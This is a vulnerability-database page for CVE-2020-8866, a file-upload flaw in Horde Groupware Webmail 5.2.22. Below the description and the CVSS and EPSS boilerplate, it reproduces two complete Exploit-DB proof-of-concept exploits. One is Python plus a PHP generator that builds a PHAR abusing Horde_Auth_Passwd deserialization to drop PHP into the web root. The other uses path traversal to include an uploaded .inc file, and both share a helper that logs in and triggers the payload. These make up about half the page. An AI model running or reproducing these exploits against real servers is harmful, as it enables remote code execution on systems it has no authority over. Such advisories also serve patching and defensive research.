CVE-2020-8866 : Detail

CVE-2020-8866

6.5
/
Medium
File Inclusion
A04-Insecure Design
1.19%V4
Network
2020-03-23
19h15 +00:00
2020-03-29
22h06 +00:00
CVE.org
NVD
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CVE Descriptions

This vulnerability allows remote attackers to create arbitrary files on affected installations of Horde Groupware Webmail Edition 5.2.22. Authentication is required to exploit this vulnerability. The specific flaw exists within add.php. The issue results from the lack of proper validation of user-supplied data, which can allow the upload of arbitrary files. An attacker can leverage this in conjunction with other vulnerabilities to execute code in the context of the www-data user. Was ZDI-CAN-10125.

CVE Informations

Related Weaknesses

CWE-ID Weakness Name Source
CWE-434 Unrestricted Upload of File with Dangerous Type
The product allows the upload or transfer of dangerous file types that are automatically processed within its environment.

Metrics

Metrics Score Severity CVSS Vector Source
V3.1 6.5 MEDIUM CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:H/A:N

Base: Exploitabilty Metrics

The Exploitability metrics reflect the characteristics of the thing that is vulnerable, which we refer to formally as the vulnerable component.

Attack Vector

This metric reflects the context by which vulnerability exploitation is possible.

Network

The vulnerable component is bound to the network stack and the set of possible attackers extends beyond the other options listed below, up to and including the entire Internet. Such a vulnerability is often termed “remotely exploitable” and can be thought of as an attack being exploitable at the protocol level one or more network hops away (e.g., across one or more routers).

Attack Complexity

This metric describes the conditions beyond the attacker’s control that must exist in order to exploit the vulnerability.

Low

Specialized access conditions or extenuating circumstances do not exist. An attacker can expect repeatable success when attacking the vulnerable component.

Privileges Required

This metric describes the level of privileges an attacker must possess before successfully exploiting the vulnerability.

Low

The attacker requires privileges that provide basic user capabilities that could normally affect only settings and files owned by a user. Alternatively, an attacker with Low privileges has the ability to access only non-sensitive resources.

User Interaction

This metric captures the requirement for a human user, other than the attacker, to participate in the successful compromise of the vulnerable component.

None

The vulnerable system can be exploited without interaction from any user.

Base: Scope Metrics

The Scope metric captures whether a vulnerability in one vulnerable component impacts resources in components beyond its security scope.

Scope

Formally, a security authority is a mechanism (e.g., an application, an operating system, firmware, a sandbox environment) that defines and enforces access control in terms of how certain subjects/actors (e.g., human users, processes) can access certain restricted objects/resources (e.g., files, CPU, memory) in a controlled manner. All the subjects and objects under the jurisdiction of a single security authority are considered to be under one security scope. If a vulnerability in a vulnerable component can affect a component which is in a different security scope than the vulnerable component, a Scope change occurs. Intuitively, whenever the impact of a vulnerability breaches a security/trust boundary and impacts components outside the security scope in which vulnerable component resides, a Scope change occurs.

Unchanged

An exploited vulnerability can only affect resources managed by the same security authority. In this case, the vulnerable component and the impacted component are either the same, or both are managed by the same security authority.

Base: Impact Metrics

The Impact metrics capture the effects of a successfully exploited vulnerability on the component that suffers the worst outcome that is most directly and predictably associated with the attack. Analysts should constrain impacts to a reasonable, final outcome which they are confident an attacker is able to achieve.

Confidentiality Impact

This metric measures the impact to the confidentiality of the information resources managed by a software component due to a successfully exploited vulnerability.

None

There is no loss of confidentiality within the impacted component.

Integrity Impact

This metric measures the impact to integrity of a successfully exploited vulnerability. Integrity refers to the trustworthiness and veracity of information.

High

There is a total loss of integrity, or a complete loss of protection. For example, the attacker is able to modify any/all files protected by the impacted component. Alternatively, only some files can be modified, but malicious modification would present a direct, serious consequence to the impacted component.

Availability Impact

This metric measures the impact to the availability of the impacted component resulting from a successfully exploited vulnerability.

None

There is no impact to availability within the impacted component.

Temporal Metrics

The Temporal metrics measure the current state of exploit techniques or code availability, the existence of any patches or workarounds, or the confidence in the description of a vulnerability.

Environmental Metrics

These metrics enable the analyst to customize the CVSS score depending on the importance of the affected IT asset to a user’s organization, measured in terms of Confidentiality, Integrity, and Availability.

 nvd@nist.gov
V3.0 4.3 MEDIUM CVSS:3.0/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:L/A:N

Base: Exploitabilty Metrics

The Exploitability metrics reflect the characteristics of the thing that is vulnerable, which we refer to formally as the vulnerable component.

Attack Vector

This metric reflects the context by which vulnerability exploitation is possible.

Network

A vulnerability exploitable with network access means the vulnerable component is bound to the network stack and the attacker's path is through OSI layer 3 (the network layer). Such a vulnerability is often termed 'remotely exploitable' and can be thought of as an attack being exploitable one or more network hops away (e.g. across layer 3 boundaries from routers).

Attack Complexity

This metric describes the conditions beyond the attacker's control that must exist in order to exploit the vulnerability.

Low

Specialized access conditions or extenuating circumstances do not exist. An attacker can expect repeatable success against the vulnerable component.

Privileges Required

This metric describes the level of privileges an attacker must possess before successfully exploiting the vulnerability.

Low

The attacker is authorized with (i.e. requires) privileges that provide basic user capabilities that could normally affect only settings and files owned by a user. Alternatively, an attacker with Low privileges may have the ability to cause an impact only to non-sensitive resources.

User Interaction

This metric captures the requirement for a user, other than the attacker, to participate in the successful compromise of the vulnerable component.

None

The vulnerable system can be exploited without interaction from any user.

Base: Scope Metrics

An important property captured by CVSS v3.0 is the ability for a vulnerability in one software component to impact resources beyond its means, or privileges.

Scope

Formally, Scope refers to the collection of privileges defined by a computing authority (e.g. an application, an operating system, or a sandbox environment) when granting access to computing resources (e.g. files, CPU, memory, etc). These privileges are assigned based on some method of identification and authorization. In some cases, the authorization may be simple or loosely controlled based upon predefined rules or standards. For example, in the case of Ethernet traffic sent to a network switch, the switch accepts traffic that arrives on its ports and is an authority that controls the traffic flow to other switch ports.

Unchanged

An exploited vulnerability can only affect resources managed by the same authority. In this case the vulnerable component and the impacted component are the same.

Base: Impact Metrics

The Impact metrics refer to the properties of the impacted component.

Confidentiality Impact

This metric measures the impact to the confidentiality of the information resources managed by a software component due to a successfully exploited vulnerability.

None

There is no loss of confidentiality within the impacted component.

Integrity Impact

This metric measures the impact to integrity of a successfully exploited vulnerability. Integrity refers to the trustworthiness and veracity of information.

Low

Modification of data is possible, but the attacker does not have control over the consequence of a modification, or the amount of modification is constrained. The data modification does not have a direct, serious impact on the impacted component.

Availability Impact

This metric measures the impact to the availability of the impacted component resulting from a successfully exploited vulnerability.

None

There is no impact to availability within the impacted component.

Temporal Metrics

The Temporal metrics measure the current state of exploit techniques or code availability, the existence of any patches or workarounds, or the confidence that one has in the description of a vulnerability.

Environmental Metrics
V2 4 AV:N/AC:L/Au:S/C:N/I:P/A:N nvd@nist.gov

EPSS

EPSS is a scoring model that predicts the likelihood of a vulnerability being exploited.

EPSS Score

The EPSS model produces a probability score between 0 and 1 (0 and 100%). The higher the score, the greater the probability that a vulnerability will be exploited.

EPSS Percentile

The percentile is used to rank CVE according to their EPSS score. For example, a CVE in the 95th percentile according to its EPSS score is more likely to be exploited than 95% of other CVE. Thus, the percentile is used to compare the EPSS score of a CVE with that of other CVE.
EPSS First.org

Exploit information

Exploit Database EDB-ID : 48210

Publication date : 2020-03-10 23h00 +00:00
Author : Andrea Cardaci
EDB Verified : No

## exploit-phar-loading.py #!/usr/bin/env python3 from horde import Horde import requests import subprocess import sys TEMP_DIR = '/tmp' WWW_ROOT = '/var/www/html' if len(sys.argv) < 5: print('Usage: <base_url> <username> <password> <filename> <php_code>') sys.exit(1) base_url = sys.argv[1] username = sys.argv[2] password = sys.argv[3] filename = sys.argv[4] php_code = sys.argv[5] source = '{}/{}.phar'.format(TEMP_DIR, filename) destination = '{}/static/{}.php'.format(WWW_ROOT, filename) # destination (delete manually) temp = 'temp.phar' url = '{}/static/{}.php'.format(base_url, filename) # log into the web application horde = Horde(base_url, username, password) # create a PHAR that performs a rename when loaded and runs the payload when executed subprocess.run([ 'php', 'create-renaming-phar.php', temp, source, destination, php_code ], stderr=subprocess.DEVNULL) # upload the PHAR with open(temp, 'rb') as fs: phar_data = fs.read() horde.upload_to_tmp('{}.phar'.format(filename), phar_data) # load the phar thus triggering the rename horde.trigger_phar(source) # issue a request to trigger the payload response = requests.get(url) print(response.text) ## exploit-phar-loading.py EOF ## create-renaming-phar.php #!/usr/bin/env php <?php // the __destruct method of Horde_Auth_Passwd eventually calls // rename($this->_lockfile, $this->_params['filename']) if $this->_locked class Horde_Auth_Passwd { // visibility must match since protected members are prefixed by "\x00*\x00" protected $_locked; protected $_params; function __construct($source, $destination) { $this->_params = array('filename' => $destination); $this->_locked = true; $this->_lockfile = $source; } }; function createPhar($path, $source, $destination, $stub) { // create the object and specify source and destination files $object = new Horde_Auth_Passwd($source, $destination); // create the PHAR $phar = new Phar($path); $phar->startBuffering(); $phar->addFromString('x', ''); $phar->setStub("<?php $stub __HALT_COMPILER();"); $phar->setMetadata($object); $phar->stopBuffering(); } function main() { global $argc, $argv; // check arguments if ($argc != 5) { fwrite(STDERR, "Usage: <path> <source> <destination> <stub>\n"); exit(1); } // create a fresh new phar $path = $argv[1]; $source = $argv[2]; $destination = $argv[3]; $stub = $argv[4]; @unlink($path); createPhar($path, $source, $destination, $stub); } main(); ## create-renaming-phar.php EOF ## horde.py import re import requests class Horde(): def __init__(self, base_url, username, password): self.base_url = base_url self.username = username self.password = password self.session = requests.session() self.token = None self._login() def _login(self): url = '{}/login.php'.format(self.base_url) data = { 'login_post': 1, 'horde_user': self.username, 'horde_pass': self.password } response = self.session.post(url, data=data) token_match = re.search(r'"TOKEN":"([^"]+)"', response.text) assert ( len(response.history) == 1 and response.history[0].status_code == 302 and response.history[0].headers['location'] == '/services/portal/' and token_match ), 'Cannot log in' self.token = token_match.group(1) def upload_to_tmp(self, filename, data): url = '{}/turba/add.php'.format(self.base_url) files = { 'object[photo][img][file]': (None, filename), 'object[photo][new]': ('x', data) } response = self.session.post(url, files=files) assert response.status_code == 200, 'Cannot upload the file to tmp' def include_remote_inc_file(self, path): # vulnerable block (alternatively 'trean:trean_Block_Mostclicked') app = 'trean:trean_Block_Bookmarks' # add one dummy bookmark (to be sure) url = '{}/trean/add.php'.format(self.base_url) data = { 'actionID': 'add_bookmark', 'url': 'x' } response = self.session.post(url, data=data) assert response.status_code == 200, 'Cannot add the bookmark' # add bookmark block url = '{}/services/portal/edit.php'.format(self.base_url) data = { 'token': self.token, 'row': 0, 'col': 0, 'action': 'save-resume', 'app': app, } response = self.session.post(url, data=data) assert response.status_code == 200, 'Cannot add the bookmark block' # edit bookmark block url = '{}/services/portal/edit.php'.format(self.base_url) data = { 'token': self.token, 'row': 0, 'col': 0, 'action': 'save', 'app': app, 'params[template]': '../../../../../../../../../../../' + path } response = self.session.post(url, data=data) assert response.status_code == 200, 'Cannot edit the bookmark block' # evaluate the remote file url = '{}/services/portal/'.format(self.base_url) response = self.session.get(url) print(response.text) # remove the bookmark block so to not break the page url = '{}/services/portal/edit.php'.format(self.base_url) data = { # XXX token not needed here 'row': 0, 'col': 0, 'action': 'removeBlock' } response = self.session.post(url, data=data) assert response.status_code == 200, 'Cannot reset the bookmark block' def trigger_phar(self, path): # vulnerable block (alternatively the same can be obtained by creating a # bookmark with the PHAR path and clocking on it) app = 'horde:horde_Block_Feed' # add syndicated feed block url = '{}/services/portal/edit.php'.format(self.base_url) data = { 'token': self.token, 'row': 0, 'col': 0, 'action': 'save-resume', 'app': app, } response = self.session.post(url, data=data) assert response.status_code == 200, 'Cannot add the syndicated feed block' # edit syndicated feed block url = '{}/services/portal/edit.php'.format(self.base_url) data = { 'token': self.token, 'row': 0, 'col': 0, 'action': 'save', 'app': app, 'params[uri]': 'phar://{}'.format(path) } response = self.session.post(url, data=data) assert response.status_code == 200, 'Cannot edit the syndicated feed block' # load the PHAR archive url = '{}/services/portal/'.format(self.base_url) response = self.session.get(url) # remove the syndicated feed block so to not break the page url = '{}/services/portal/edit.php'.format(self.base_url) data = { # XXX token not needed here 'row': 0, 'col': 0, 'action': 'removeBlock' } response = self.session.post(url, data=data) assert response.status_code == 200, 'Cannot reset the syndicated feed block' ## horde.py EOF
Exploit Database EDB-ID : 48209

Publication date : 2020-03-10 23h00 +00:00
Author : Andrea Cardaci
EDB Verified : No

## exploit-inc-inclusion.py #!/usr/bin/env python3 from horde import Horde import subprocess import sys TEMP_DIR = '/tmp' if len(sys.argv) < 5: print('Usage: <base_url> <username> <password> <filename> <php_code>') sys.exit(1) base_url = sys.argv[1] username = sys.argv[2] password = sys.argv[3] filename = sys.argv[4] php_code = sys.argv[5] # log into the web application horde = Horde(base_url, username, password) # upload (delete manually) and evaluate the .inc file horde.upload_to_tmp('{}.inc'.format(filename), '<?php {} die();'.format(php_code)) horde.include_remote_inc_file('{}/{}'.format(TEMP_DIR, filename)) ## exploit-inc-inclusion.py EOF ## horde.py import re import requests class Horde(): def __init__(self, base_url, username, password): self.base_url = base_url self.username = username self.password = password self.session = requests.session() self.token = None self._login() def _login(self): url = '{}/login.php'.format(self.base_url) data = { 'login_post': 1, 'horde_user': self.username, 'horde_pass': self.password } response = self.session.post(url, data=data) token_match = re.search(r'"TOKEN":"([^"]+)"', response.text) assert ( len(response.history) == 1 and response.history[0].status_code == 302 and response.history[0].headers['location'] == '/services/portal/' and token_match ), 'Cannot log in' self.token = token_match.group(1) def upload_to_tmp(self, filename, data): url = '{}/turba/add.php'.format(self.base_url) files = { 'object[photo][img][file]': (None, filename), 'object[photo][new]': ('x', data) } response = self.session.post(url, files=files) assert response.status_code == 200, 'Cannot upload the file to tmp' def include_remote_inc_file(self, path): # vulnerable block (alternatively 'trean:trean_Block_Mostclicked') app = 'trean:trean_Block_Bookmarks' # add one dummy bookmark (to be sure) url = '{}/trean/add.php'.format(self.base_url) data = { 'actionID': 'add_bookmark', 'url': 'x' } response = self.session.post(url, data=data) assert response.status_code == 200, 'Cannot add the bookmark' # add bookmark block url = '{}/services/portal/edit.php'.format(self.base_url) data = { 'token': self.token, 'row': 0, 'col': 0, 'action': 'save-resume', 'app': app, } response = self.session.post(url, data=data) assert response.status_code == 200, 'Cannot add the bookmark block' # edit bookmark block url = '{}/services/portal/edit.php'.format(self.base_url) data = { 'token': self.token, 'row': 0, 'col': 0, 'action': 'save', 'app': app, 'params[template]': '../../../../../../../../../../../' + path } response = self.session.post(url, data=data) assert response.status_code == 200, 'Cannot edit the bookmark block' # evaluate the remote file url = '{}/services/portal/'.format(self.base_url) response = self.session.get(url) print(response.text) # remove the bookmark block so to not break the page url = '{}/services/portal/edit.php'.format(self.base_url) data = { # XXX token not needed here 'row': 0, 'col': 0, 'action': 'removeBlock' } response = self.session.post(url, data=data) assert response.status_code == 200, 'Cannot reset the bookmark block' def trigger_phar(self, path): # vulnerable block (alternatively the same can be obtained by creating a # bookmark with the PHAR path and clocking on it) app = 'horde:horde_Block_Feed' # add syndicated feed block url = '{}/services/portal/edit.php'.format(self.base_url) data = { 'token': self.token, 'row': 0, 'col': 0, 'action': 'save-resume', 'app': app, } response = self.session.post(url, data=data) assert response.status_code == 200, 'Cannot add the syndicated feed block' # edit syndicated feed block url = '{}/services/portal/edit.php'.format(self.base_url) data = { 'token': self.token, 'row': 0, 'col': 0, 'action': 'save', 'app': app, 'params[uri]': 'phar://{}'.format(path) } response = self.session.post(url, data=data) assert response.status_code == 200, 'Cannot edit the syndicated feed block' # load the PHAR archive url = '{}/services/portal/'.format(self.base_url) response = self.session.get(url) # remove the syndicated feed block so to not break the page url = '{}/services/portal/edit.php'.format(self.base_url) data = { # XXX token not needed here 'row': 0, 'col': 0, 'action': 'removeBlock' } response = self.session.post(url, data=data) assert response.status_code == 200, 'Cannot reset the syndicated feed block' ## horde.py EOF

Products Mentioned

Configuraton 0

Horde>>Groupware >> Version 5.2.22

Horde>>Horde_form >> Version To (excluding) 2.0.20

Configuraton 0

Debian>>Debian_linux >> Version 8.0

References